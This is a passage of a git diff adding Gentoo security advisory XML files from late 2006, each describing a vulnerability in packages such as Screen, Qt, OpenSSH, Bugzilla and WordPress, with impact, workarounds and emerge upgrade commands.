+    specifiers through the client-controlled variables. An attacker could
+    also cause a Denial of Service by resource consumption through the SIP
+    channel driver.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround for the format strings vulnerability at
+    this time. You can comment the lines in /etc/asterisk/mgcp.conf,
+    /etc/asterisk/skinny.conf and /etc/asterisk/sip.conf to deactivate the
+    three vulnerable channel drivers. Please note that the MGCP channel
+    driver is disabled by default.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Asterisk users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/asterisk-1.2.13&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4345">CVE-2006-4345</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4346">CVE-2006-4346</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5444">CVE-2006-5444</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5445">CVE-2006-5445</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 18 Oct 2006 20:57:57 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 21 Oct 2006 20:37:32 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-01.xml b/xml/htdocs/security/en/glsa/glsa-200611-01.xml
new file mode 100644
index 00000000..57f8290e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-01.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-01">
+  <title>Screen: UTF-8 character handling vulnerability</title>
+  <synopsis>
+    Screen contains an error in its UTF-8 character handling code that would
+    allow a remote Denial of Service or possibly the remote execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">screen</product>
+  <announced>November 03, 2006</announced>
+  <revised>November 03, 2006: 01</revised>
+  <bug>152770</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-misc/screen" auto="yes" arch="*">
+      <unaffected range="ge">4.0.3</unaffected>
+      <vulnerable range="lt">4.0.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Screen is a full-screen window manager that multiplexes a physical
+    terminal between several processes, typically interactive shells.
+    </p>
+  </background>
+  <description>
+    <p>
+    cstone and Richard Felker discovered a flaw in Screen's UTF-8 combining
+    character handling.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    The vulnerability can be exploited by writing a special string of
+    characters to a Screen window. A remote attacker could cause a Denial
+    of Service or possibly execute arbitrary code with the privileges of
+    the user running Screen through a program being run inside a Screen
+    session, such as an IRC client or a mail client.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Screen users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-misc/screen-4.0.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4573">CVE-2006-4573</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 27 Oct 2006 12:01:54 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 30 Oct 2006 11:11:00 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-02.xml b/xml/htdocs/security/en/glsa/glsa-200611-02.xml
new file mode 100644
index 00000000..ddad2fa7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-02.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-02">
+  <title>Qt: Integer overflow</title>
+  <synopsis>
+    An integer overflow flaw in the Qt pixmap handling could possibly lead to a
+    Denial of Service or the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">qt</product>
+  <announced>November 06, 2006</announced>
+  <revised>January 09, 2009: 03</revised>
+  <bug>151838</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-libs/qt" auto="yes" arch="*">
+      <unaffected range="ge">4.1.4-r2</unaffected>
+      <unaffected range="rge">3.3.6-r4</unaffected>
+      <unaffected range="rge">3.3.8</unaffected>
+      <unaffected range="rge">3.3.8b</unaffected>
+      <vulnerable range="lt">4.1.4-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Qt is a cross-platform GUI toolkit, which is used e.g. by KDE.
+    </p>
+  </background>
+  <description>
+    <p>
+    An integer overflow flaw has been found in the pixmap handling of Qt.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to open a specially crafted pixmap image in an
+    application using Qt, e.g. Konqueror, a remote attacker could be able
+    to cause an application crash or the execution of arbitrary code with
+    the rights of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Qt 3.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-libs/qt-3.3.6-r4&quot;</code>
+    <p>
+    All Qt 4.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-libs/qt-4.1.4-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4811">CVE-2006-4811</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 01 Nov 2006 16:27:07 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 02 Nov 2006 14:09:09 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 06 Nov 2006 11:05:20 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-03.xml b/xml/htdocs/security/en/glsa/glsa-200611-03.xml
new file mode 100644
index 00000000..becb4277
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-03.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-03">
+  <title>NVIDIA binary graphics driver: Privilege escalation vulnerability</title>
+  <synopsis>
+    The NVIDIA binary graphics driver is vulnerable to a local privilege
+    escalation through an X session.
+  </synopsis>
+  <product type="ebuild">nvidia-drivers</product>
+  <announced>November 07, 2006</announced>
+  <revised>November 10, 2006: 02</revised>
+  <bug>151635</bug>
+  <access>remote, local</access>
+  <affected>
+    <package name="x11-drivers/nvidia-drivers" auto="yes" arch="*">
+      <unaffected range="ge">1.0.8776</unaffected>
+      <unaffected range="lt">1.0.8762</unaffected>
+      <vulnerable range="lt">1.0.8776</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The NVIDIA binary graphics driver from NVIDIA Corporation provides the
+    kernel module and the GL modules for graphic acceleration on the NVIDIA
+    based graphic cards.
+    </p>
+  </background>
+  <description>
+    <p>
+    Rapid7 reported a boundary error in the NVIDIA binary graphics driver
+    that leads to a buffer overflow in the accelerated rendering
+    functionality.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An X client could trigger the buffer overflow with a maliciously
+    crafted series of glyphs. A remote attacker could also entice a user to
+    open a specially crafted web page, document or X client that will
+    trigger the buffer overflow. This could result in the execution of
+    arbitrary code with root privileges or at least in the crash of the X
+    server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable the accelerated rendering functionality in the Device section
+    of xorg.conf :
+    </p>
+    <code>Option      &quot;RenderAccel&quot; &quot;false&quot;</code>
+  </workaround>
+  <resolution>
+    <p>
+    NVIDIA binary graphics driver users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-drivers/nvidia-drivers-1.0.8776&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5379">CVE-2006-5379</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 24 Oct 2006 09:12:20 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 24 Oct 2006 14:25:34 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 24 Oct 2006 14:27:05 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-04.xml b/xml/htdocs/security/en/glsa/glsa-200611-04.xml
new file mode 100644
index 00000000..73c492db
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-04.xml
@@ -0,0 +1,90 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-04">
+  <title>Bugzilla: Multiple Vulnerabilities</title>
+  <synopsis>
+    Bugzilla is vulnerable to cross-site scripting, script injection, and
+    request forgery.
+  </synopsis>
+  <product type="ebuild">bugzilla</product>
+  <announced>November 09, 2006</announced>
+  <revised>November 09, 2006: 01</revised>
+  <bug>151563</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/bugzilla" auto="yes" arch="*">
+      <unaffected range="ge">2.18.6</unaffected>
+      <vulnerable range="lt">2.18.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Bugzilla is a bug tracking system used to allow developers to more
+    easily track outstanding bugs in products.
+    </p>
+  </background>
+  <description>
+    <p>
+    The vulnerabilities identified in Bugzilla are as follows:
+    </p>
+    <ul>
+    <li>Frederic Buclin and Gervase Markham discovered that input passed to
+    various fields throughout Bugzilla were not properly sanitized before
+    being sent back to users (CVE-2006-5453).</li>
+    <li>Frederic Buclin and Josh "timeless" Soref discovered a bug when
+    viewing attachments in diff mode that allows users not of the
+    "insidergroup" to read attachment descriptions. Additionally, it was
+    discovered that the "deadline" field is visible to users who do not
+    belong to the "timetrackinggroup" when bugs are exported to XML
+    (CVE-2006-5454).</li>
+    <li>Gavin Shelley reported that Bugzilla allows certain operations to
+    be performed via HTTP GET and HTTP POST requests without verifying
+    those requests properly (CVE-2006-5455).</li>
+    <li>Max Kanat-Alexander discovered that input passed to
+    showdependencygraph.cgi is not properly sanitized before being returned
+    to users (CVE-2006-5453).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could inject scripts into the content loaded by a user's
+    browser in order to have those scripts executed in a user's browser in
+    the context of the site currently being viewed. This could include
+    gaining access to privileged session information for the site being
+    viewed. Additionally, a user could forge an HTTP request in order to
+    create, modify, or delete bugs within a Bugzilla instance. Lastly, an
+    unauthorized user could view sensitive information about bugs or bug
+    attachments.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Bugzilla users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/bugzilla-2.18.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5453">CVE-2006-5453</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5454">CVE-2006-5454</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5455">CVE-2006-5455</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 04 Nov 2006 19:51:46 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 05 Nov 2006 14:49:56 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 07 Nov 2006 15:44:40 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-05.xml b/xml/htdocs/security/en/glsa/glsa-200611-05.xml
new file mode 100644
index 00000000..054d0942
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-05.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-05">
+  <title>Netkit FTP Server: Privilege escalation</title>
+  <synopsis>
+    An incorrect seteuid() call could allow an FTP user to access some files or
+    directories that would normally be inaccessible.
+  </synopsis>
+  <product type="ebuild">ftpd</product>
+  <announced>November 10, 2006</announced>
+  <revised>December 30, 2007: 02</revised>
+  <bug>150292</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-ftp/netkit-ftpd" auto="yes" arch="*">
+      <unaffected range="ge">0.17-r4</unaffected>
+      <vulnerable range="lt">0.17-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    net-ftp/netkit-ftpd is the Linux Netkit FTP server with optional SSL support.
+    </p>
+  </background>
+  <description>
+    <p>
+    Paul Szabo reported that an incorrect seteuid() call after the chdir()
+    function can allow an attacker to access a normally forbidden
+    directory, in some very particular circumstances, for example when the
+    NFS-hosted targetted directory is not reachable by the client-side root
+    user. Additionally, some potentially exploitable unchecked setuid()
+    calls were also fixed.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker might craft his home directory to gain access through
+    ftpd to normally forbidden directories like /root, possibly with
+    writing permissions if seteuid() fails and if the ftpd configuration
+    allows that. The unchecked setuid() calls could also lead to a root FTP
+    login, depending on the FTP server configuration.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Netkit FTP Server users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-ftp/netkit-ftpd-0.17-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5778">CVE-2006-5778</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 24 Oct 2006 15:02:54 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 24 Oct 2006 15:03:34 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-06.xml b/xml/htdocs/security/en/glsa/glsa-200611-06.xml
new file mode 100644
index 00000000..b51f2631
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-06.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-06">
+  <title>OpenSSH: Multiple Denial of Service vulnerabilities</title>
+  <synopsis>
+    Several Denial of Service vulnerabilities have been identified in OpenSSH.
+  </synopsis>
+  <product type="ebuild">openssh</product>
+  <announced>November 13, 2006</announced>
+  <revised>November 13, 2006: 01</revised>
+  <bug>149502</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/openssh" auto="yes" arch="*">
+      <unaffected range="ge">4.4_p1-r5</unaffected>
+      <vulnerable range="lt">4.4_p1-r5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenSSH is a complete SSH protocol version 1.3, 1.5 and 2.0
+    implementation and includes sftp client and server support.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Google Security Team has discovered a
+    pre-authentication vulnerability, causing sshd to spin until the login
+    grace time has been expired. Mark Dowd found an unsafe signal handler
+    that was vulnerable to a race condition. It has also been discovered
+    that when GSSAPI authentication is enabled, GSSAPI will in certain
+    cases incorrectly abort.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    The pre-authentication and signal handler vulnerabilities can cause a
+    Denial of Service in OpenSSH. The vulnerability in the GSSAPI
+    authentication abort could be used to determine the validity of
+    usernames on some platforms.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenSSH users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/openssh-4.4_p1-r5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5051">CVE-2006-5051</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5052">CVE-2006-5052</uri>
+    <uri link="http://www.openssh.com/txt/release-4.4">OpenSSH Security Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 06 Nov 2006 00:03:31 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 06 Nov 2006 12:18:14 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 06 Nov 2006 19:31:09 +0000">
+    daxomatic
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-07.xml b/xml/htdocs/security/en/glsa/glsa-200611-07.xml
new file mode 100644
index 00000000..84b217f5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-07.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-07">
+  <title>GraphicsMagick: PALM and DCM buffer overflows</title>
+  <synopsis>
+    GraphicsMagick improperly handles PALM and DCM images, potentially
+    resulting in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">graphicsmagick</product>
+  <announced>November 13, 2006</announced>
+  <revised>November 13, 2006: 01</revised>
+  <bug>152668</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/graphicsmagick" auto="yes" arch="*">
+      <unaffected range="ge">1.1.7-r3</unaffected>
+      <vulnerable range="lt">1.1.7-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GraphicsMagick is a collection of tools and libraries which support
+    reading, writing, and manipulating images in many major formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    M. Joonas Pihlaja has reported that a boundary error exists within the
+    ReadDCMImage() function of coders/dcm.c, causing the improper handling
+    of DCM images. Pihlaja also reported that there are several boundary
+    errors in the ReadPALMImage() function of coders/palm.c, similarly
+    causing the improper handling of PALM images.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially crafted DCM or PALM
+    image with GraphicsMagick, and possibly execute arbitrary code with the
+    privileges of the user running GraphicsMagick.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GraphicsMagick users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/graphicsmagick-1.1.7-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5456">CVE-2006-5456</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 06 Nov 2006 14:10:18 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 06 Nov 2006 23:27:19 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 07 Nov 2006 12:33:19 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-08.xml b/xml/htdocs/security/en/glsa/glsa-200611-08.xml
new file mode 100644
index 00000000..336d84bb
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-08.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-08">
+  <title>RPM: Buffer overflow</title>
+  <synopsis>
+    RPM is vulnerable to a buffer overflow and possibly the execution of
+    arbitrary code when opening specially crafted packages.
+  </synopsis>
+  <product type="ebuild">rpm</product>
+  <announced>November 13, 2006</announced>
+  <revised>November 13, 2006: 01</revised>
+  <bug>154218</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/rpm" auto="yes" arch="*">
+      <unaffected range="ge">4.4.6-r3</unaffected>
+      <vulnerable range="lt">4.4.6-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Red Hat Package Manager (RPM) is a command line driven package
+    management system capable of installing, uninstalling, verifying,
+    querying, and updating computer software packages.
+    </p>
+  </background>
+  <description>
+    <p>
+    Vladimir Mosgalin has reported that when processing certain packages,
+    RPM incorrectly allocates memory for the packages, possibly causing a
+    heap-based buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially crafted RPM package
+    and execute code with the privileges of that user if certain locales
+    are set.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All RPM users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/rpm-4.4.6-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5466">CVE-2006-5466</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 06 Nov 2006 23:03:12 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 06 Nov 2006 23:11:11 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 07 Nov 2006 13:44:27 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-09.xml b/xml/htdocs/security/en/glsa/glsa-200611-09.xml
new file mode 100644
index 00000000..97a02b8e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-09.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-09">
+  <title>libpng: Denial of Service</title>
+  <synopsis>
+    A vulnerability in libpng may allow a remote attacker to crash applications
+    that handle untrusted images.
+  </synopsis>
+  <product type="ebuild">libpng</product>
+  <announced>November 17, 2006</announced>
+  <revised>November 17, 2006: 01</revised>
+  <bug>154380</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libpng" auto="yes" arch="*">
+      <unaffected range="ge">1.2.13</unaffected>
+      <vulnerable range="lt">1.2.13</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libpng is a free ANSI C library used to process and manipulate PNG
+    images.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Audit Team discovered that a
+    vulnerability exists in the sPLT chunk handling code of libpng, a large
+    sPLT chunk may cause an application to attempt to read out of bounds.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could craft an image that when processed or viewed by
+    an application using libpng causes the application to terminate
+    abnormally.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libpng users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libpng-1.2.13&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5793">CVE-2006-5793</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 10 Nov 2006 11:17:04 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 16 Nov 2006 15:07:26 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-10.xml b/xml/htdocs/security/en/glsa/glsa-200611-10.xml
new file mode 100644
index 00000000..1b22af57
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-10.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-10">
+  <title>WordPress: Multiple vulnerabilities</title>
+  <synopsis>
+    Flaws in WordPress allow a Denial of Service, the disclosure of user
+    metadata and the overwriting of restricted files.
+  </synopsis>
+  <product type="ebuild">wordpress</product>
+  <announced>November 17, 2006</announced>
+  <revised>November 17, 2006: 01</revised>
+  <bug>153303</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/wordpress" auto="yes" arch="*">
+      <unaffected range="ge">2.0.5</unaffected>
+      <vulnerable range="lt">2.0.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    WordPress is a PHP and MySQL based multiuser blogging system.
+    </p>
+  </background>
+  <description>
+    <p>
+    "random" discovered that users can enter serialized objects as strings
+    in their profiles that will be harmful when unserialized. "adapter"
+    found out that user-edit.php fails to effectively deny non-permitted
+    users access to other user's metadata. Additionally, a directory
+    traversal vulnerability in the wp-db-backup module was discovered.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By entering specially crafted strings in his profile, an attacker can
+    crash PHP or even the web server running WordPress. Additionally, by
+    crafting a simple URL, an attacker can read metadata of any other user,
+    regardless of their own permissions. A user with the permission to use
+    the database backup plugin can possibly overwrite files he otherwise
+    has no access to.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All WordPress users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/wordpress-2.0.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5705">CVE-2006-5705</uri>
+    <uri link="http://trac.wordpress.org/ticket/3142">WordPress Ticket 3142</uri>
+    <uri link="http://trac.wordpress.org/ticket/2591">WordPress Ticket 2591</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 08 Nov 2006 12:56:04 +0000">
+    frilled
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 09 Nov 2006 06:33:42 +0000">
+    frilled
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-11.xml b/xml/htdocs/security/en/glsa/glsa-200611-11.xml
new file mode 100644
index 00000000..883af676
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-11.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-11">
+  <title>TikiWiki: Multiple vulnerabilities</title>
+  <synopsis>
+    TikiWiki allows for the disclosure of MySQL database authentication
+    credentials and for cross-site scripting attacks.
+  </synopsis>
+  <product type="ebuild">tikiwiki</product>
+  <announced>November 20, 2006</announced>
+  <revised>November 20, 2006: 01</revised>
+  <bug>153820</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/tikiwiki" auto="yes" arch="*">
+      <unaffected range="ge">1.9.6</unaffected>
+      <vulnerable range="lt">1.9.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    TikiWiki is an open source content management system written in PHP.
+    </p>
+  </background>
+  <description>
+    <p>
+    In numerous files TikiWiki provides an empty sort_mode parameter,
+    causing TikiWiki to display additional information, including database
+    authentication credentials, in certain error messages. TikiWiki also
+    improperly sanitizes the "url" request variable sent to
+    tiki-featured_link.php.
+    </p>
+  </description>
